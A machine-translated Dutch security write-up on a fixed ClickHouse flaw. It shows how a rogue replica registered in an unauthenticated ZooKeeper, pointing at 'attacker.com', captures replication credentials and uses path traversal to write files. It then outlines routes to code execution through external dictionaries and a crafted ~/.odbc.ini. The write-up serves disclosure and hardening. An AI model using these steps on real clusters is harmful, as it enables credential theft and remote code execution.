Waarom moet je dierentuinkooien gesloten houden?

Waarom moet je dierentuinkooien gesloten houden?

Dit artikel vertelt het verhaal van een zeer specifieke kwetsbaarheid in het ClickHouse-replicatieprotocol en laat ook zien hoe het aanvalsoppervlak kan worden uitgebreid.

ClickHouse is een database voor het opslaan van grote hoeveelheden gegevens, waarbij meestal meer dan één replica wordt gebruikt. Clustering en replicatie in ClickHouse zijn daar bovenop gebouwd Apache DierentuinKeeper (ZK) en vereisen schrijfrechten.

De standaard ZK-installatie vereist geen authenticatie, dus duizenden ZK-servers die worden gebruikt om Kafka, Hadoop en ClickHouse te configureren, zijn openbaar beschikbaar.

Om uw aanvalsoppervlak te verkleinen, moet u altijd authenticatie en autorisatie configureren wanneer u ZooKeeper installeert

Er zijn natuurlijk enkele op 0day gebaseerde Java-deserialisaties, maar stel je voor dat een aanvaller ZooKeeper zou kunnen lezen en schrijven, dat wordt gebruikt voor ClickHouse-replicatie.

Indien geconfigureerd in clustermodus, ondersteunt ClickHouse gedistribueerde zoekopdrachten DDL, die door ZK gaat - voor hen worden knooppunten in het blad gemaakt /clickhouse/task_queue/ddl.

U maakt bijvoorbeeld een knooppunt /clickhouse/task_queue/ddl/query-0001 met inhoud:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

en daarna wordt de testtabel verwijderd op de clusterservers host1 en host2. DDL ondersteunt ook het uitvoeren van CREATE/ALTER/DROP-query's.

Klinkt eng? Maar waar kan een aanvaller serveradressen vandaan halen?

ClickHouse-replicatie werkt op het niveau van individuele tabellen, zodat wanneer een tabel in ZK wordt gemaakt, een server wordt gespecificeerd die verantwoordelijk is voor het uitwisselen van metadata met replica's. Bijvoorbeeld bij het uitvoeren van een verzoek (ZK moet geconfigureerd zijn, chXX - naam van de replica, foobar - tafel naam):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

knooppunten worden gemaakt kolommen ΠΈ metadata.

Inhoud /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Is het mogelijk om gegevens uit dit cluster samen te voegen? Ja, als de replicatiepoort (TCP/9009) op de server chXX-address de firewall wordt niet gesloten en authenticatie voor replicatie wordt niet geconfigureerd. Hoe authenticatie omzeilen?

Een aanvaller kan een nieuwe replica in ZK maken door eenvoudigweg de inhoud ervan te kopiΓ«ren /clickhouse/tables/01-01/foobar/replicas/chXX en de betekenis veranderen host.

Inhoud /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Vervolgens moet je de andere replica's vertellen dat er een nieuw gegevensblok op de server van de aanvaller staat dat ze moeten gebruiken - er wordt een knooppunt gemaakt in ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotoon groeiende teller, die groter zou moeten zijn dan de laatste in het gebeurtenislogboek):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

waar bron_replica β€” de naam van de replica van de aanvaller die in de vorige stap is gemaakt, blok_id β€” gegevensblokidentificatie, krijgen - commando "get block" (en hier zijn opdrachten voor andere bewerkingen).

Vervolgens leest elke replica een nieuwe gebeurtenis in het logboek en gaat naar een server die wordt beheerd door de aanvaller om een ​​blok gegevens te ontvangen (het replicatieprotocol is binair en draait bovenop HTTP). Server attacker.com ontvangt verzoeken:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

waarbij XXX de authenticatiegegevens voor replicatie zijn. In sommige gevallen kan dit een account zijn met toegang tot de database via het hoofdprotocol ClickHouse en het HTTP-protocol. Zoals je hebt gezien, wordt het aanvalsoppervlak kritisch groot omdat ZooKeeper, dat voor replicatie wordt gebruikt, geen authenticatie heeft geconfigureerd.

Laten we eens kijken naar de functie van het verkrijgen van een gegevensblok uit een replica. Het is geschreven met het volste vertrouwen dat alle replica's onder de juiste controle staan ​​en dat er vertrouwen tussen hen bestaat.

Waarom moet je dierentuinkooien gesloten houden?
replicatieverwerkingscode

De functie leest een lijst met bestanden, vervolgens hun namen, groottes en inhoud, en schrijft ze vervolgens naar het bestandssysteem. Het is de moeite waard om afzonderlijk te beschrijven hoe gegevens in het bestandssysteem worden opgeslagen.

Er zijn verschillende submappen in /var/lib/clickhouse (standaard opslagmap uit het configuratiebestand):

vlaggen - map voor opname vlaggen, gebruikt bij herstel na gegevensverlies;
tmp β€” map voor het opslaan van tijdelijke bestanden;
gebruikersbestanden β€” bewerkingen met bestanden in verzoeken zijn beperkt tot deze map (INTO OUTFILE en andere);
metadata β€” sql-bestanden met tabelbeschrijvingen;
voorverwerkte_configs - verwerkte afgeleide configuratiebestanden van /etc/clickhouse-server;
gegevens - de eigenlijke map met de gegevens zelf, in dit geval wordt hier voor elke database eenvoudigweg een aparte submap aangemaakt (bijvoorbeeld /var/lib/clickhouse/data/default).

Voor elke tabel wordt een submap aangemaakt in de databasemap. Elke kolom is een afzonderlijk bestand, afhankelijk van motor formaat. Bijvoorbeeld voor een tafel foobargemaakt door een aanvaller, worden de volgende bestanden gemaakt:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

De replica verwacht bij het verwerken van een gegevensblok bestanden met dezelfde namen te ontvangen en valideert deze op geen enkele manier.

De oplettende lezer heeft waarschijnlijk al gehoord van de onveilige aaneenschakeling van bestandsnaam in een functie WriteBufferFromFile. Ja, hierdoor kan een aanvaller willekeurige inhoud naar elk bestand op de FS met gebruikersrechten schrijven clickhouse. Om dit te doen, moet de replica die door de aanvaller wordt bestuurd, het volgende antwoord op het verzoek retourneren (regeleinden zijn toegevoegd voor een beter begrip):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

en na aaneenschakeling ../../../../../../../../../tmp/pwned het bestand wordt geschreven /tmp/pwned met inhoud hallovandierenverzorger.

Er zijn verschillende opties om de mogelijkheid om bestanden te schrijven om te zetten in Remote Code Execution (RCE).

Externe woordenboeken in RCE

In oudere versies werd de map met ClickHouse-instellingen opgeslagen met gebruikersrechten klikhuis standaard. Instellingenbestanden zijn XML-bestanden die de service bij het opstarten leest en vervolgens in de cache opslaat /var/lib/clickhouse/preprocessed_configs. Wanneer er wijzigingen optreden, worden deze opnieuw gelezen. Als u toegang heeft tot /etc/clickhouse-server een aanvaller kan zijn eigen aanval creΓ«ren extern woordenboek uitvoerbare type en voer vervolgens willekeurige code uit. De huidige versies van ClickHouse bieden standaard geen rechten, maar als de server geleidelijk wordt bijgewerkt, kunnen dergelijke rechten blijven bestaan. Als u een ClickHouse-cluster ondersteunt, controleer dan de rechten op de instellingenmap. Deze moet eigendom zijn van de gebruiker root.

ODBC naar RCE

Wanneer u een pakket installeert, wordt er een gebruiker aangemaakt clickhouse, maar de thuismap wordt niet gemaakt /nonexistent. Wanneer beheerders echter externe woordenboeken gebruiken of om andere redenen, maken ze een map aan /nonexistent en geef de gebruiker clickhouse toegang om ernaar te schrijven (SSZB! ca. vertaler).

ClickHouse ondersteunt ODBC en kan verbinding maken met andere databases. In ODBC kunt u het pad naar de databasestuurprogrammabibliotheek (.so) opgeven. In oudere versies van ClickHouse kon je dit rechtstreeks in de verzoekhandler doen, maar nu is er een strengere controle van de verbindingsreeks toegevoegd aan odbc-bridge, dus het is niet langer mogelijk om het stuurprogrammapad uit de aanvraag op te geven. Maar kan een aanvaller via de hierboven beschreven kwetsbaarheid naar de thuismap schrijven?

Laten we een bestand maken ~/.odbc.ini met inhoud als deze:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

dan bij het opstarten SELECT * FROM odbc('DSN=lalala', 'test', 'test'); de bibliotheek wordt geladen test.so en ontving RCE (bedankt buglloc voor de tip).

Deze en andere kwetsbaarheden zijn opgelost in ClickHouse versie 19.14.3. Zorg goed voor uw ClickHouse en ZooKeepers!

Bron: www.habr.com

Voeg een reactie